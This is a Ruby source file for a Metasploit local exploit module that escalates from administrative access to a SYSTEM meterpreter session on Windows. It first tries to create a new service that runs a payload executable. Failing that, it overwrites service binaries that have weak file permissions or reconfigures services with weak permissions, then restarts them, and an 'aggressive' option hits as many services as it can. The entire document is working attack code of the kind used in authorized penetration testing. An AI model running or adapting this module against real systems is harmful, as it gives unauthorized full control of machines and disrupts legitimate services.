##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  ERROR = Msf::Post::Windows::Error

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate Service Permissions Local Privilege Escalation',
      'Description'   => %q{
        This module attempts to exploit existing administrative privileges to obtain
        a SYSTEM session. If directly creating a service fails, this module will inspect
        existing services to look for insecure file or configuration permissions that may
        be hijacked. It will then attempt to restart the replaced service to run the
        payload. This will result in a new session when this succeeds.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'scriptjunkie' ],
      'Arch'          => [ ARCH_X86, ARCH_X64 ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => '5'
        },
      'Targets'       =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> "Oct 15 2012"
    ))

    register_options([
      OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
    ])

  end

  def execute_payload_as_new_service(path)
    success = false

    print_status("Trying to add a new service...")
    service_name = Rex::Text.rand_text_alpha((rand(8)+6))
    if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
      print_status("Created service... #{service_name}")
      write_exe(path, service_name)
      if service_start(service_name) == ERROR::SUCCESS
        print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
        success = true
      end

      service_delete(service_name)
    else
      print_status("No privs to create a service...")
      success = false
    end

    return success
  end

  def weak_service_permissions(service_name, service, path)
    success = false
    vprint_status("[#{service_name}] Checking for weak service permissions")

    if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
      print_good("[#{service_name}]  has weak configuration permissions - reconfigured to use exe #{path}")
      print_status("[#{service_name}] Restarting service")
      res = service_stop(service_name)

      if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
        write_exe(path, service_name)
        if service_restart(service_name)
          print_good("[#{service_name}] Service restarted")
          success = true
        else
          print_error("[#{service_name}] Unable to restart service")
        end
      end

      unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
        print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
      end
    end

    return success
  end

  def weak_file_permissions(service_name, service, path, token)
    success = false
    vprint_status("[#{service_name}] Checking for weak file permissions")

    #get path to exe; parse out quotes and arguments
    original_path = service[:path]
    possible_path = expand_path(original_path)
    if (possible_path[0] == '"')
      possible_path = possible_path.split('"')[1]
    else
      possible_path = possible_path.split(' ')[0]
    end

    unless file?(possible_path)
      # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
      print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
    end

    file_permissions = check_dir_perms(possible_path, token)

    if file_permissions && file_permissions.index('W')
      print_good("[#{service_name}] Write access to #{possible_path}")

      begin
        status = service_status(service_name)
        no_access = false
        # Unless service is already stopped
        if status[:state] == SERVICE_STOPPED
          stopped = true
        else
          res = service_stop(service_name)
          stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
        end
      rescue RuntimeError => e
        vprint_error("[#{service_name}] #{e} ")
        no_access = true
      end

      if stopped or no_access
        begin
          if move_file(possible_path, possible_path+'.bak')
            write_exe(possible_path, service_name)
            print_status("[#{service_name}]  #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
            if service_restart(service_name)
              print_good("[#{service_name}] Service restarted")
              success = true
            else
              print_error("Unable to restart service")
            end
          end
        rescue Rex::Post::Meterpreter::RequestError => e
          vprint_error("[#{service_name}] #{e}")
        end
      else
        vprint_error("[#{service_name}] Unable to stop service")
      end
    end

    return success
  end

  # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
  # define the correct servicename.
  def write_exe(path, service_name=nil)
    vprint_status("[#{service_name}] Writing service executable to #{path}")
    exe = generate_payload_exe_service({servicename: service_name, arch: get_payload_arch})
    write_file(path, exe)
    register_files_for_cleanup(path)
  end

  def get_payload_arch
    if payload.arch.include?(ARCH_X64)
      return ARCH_X64
    else
      return ARCH_X86
    end
  end

  def exploit
    filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

    dir_env = get_envs('SystemRoot', 'TEMP')
    sysdir = dir_env['SystemRoot']
    tmpdir = dir_env['TEMP']
    tempexe = tmpdir + "\\" + tempexe_name

    begin
      return if execute_payload_as_new_service(tempexe)
    rescue RuntimeError => e
      vprint_status("Unable to create a new service: #{e}")
    end

    aggressive = datastore['AGGRESSIVE']

    print_status("Trying to find weak permissions in existing services..")

    token = get_imperstoken
    each_service do |serv|
      service_name =  serv[:name]
      service = service_info(service_name)
      begin
        return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
        return if weak_service_permissions(service_name, service, tempexe) and not aggressive
      rescue RuntimeError => e
        vprint_status("[#{serv[:name]}] #{e}")
      end
    end
  end
end
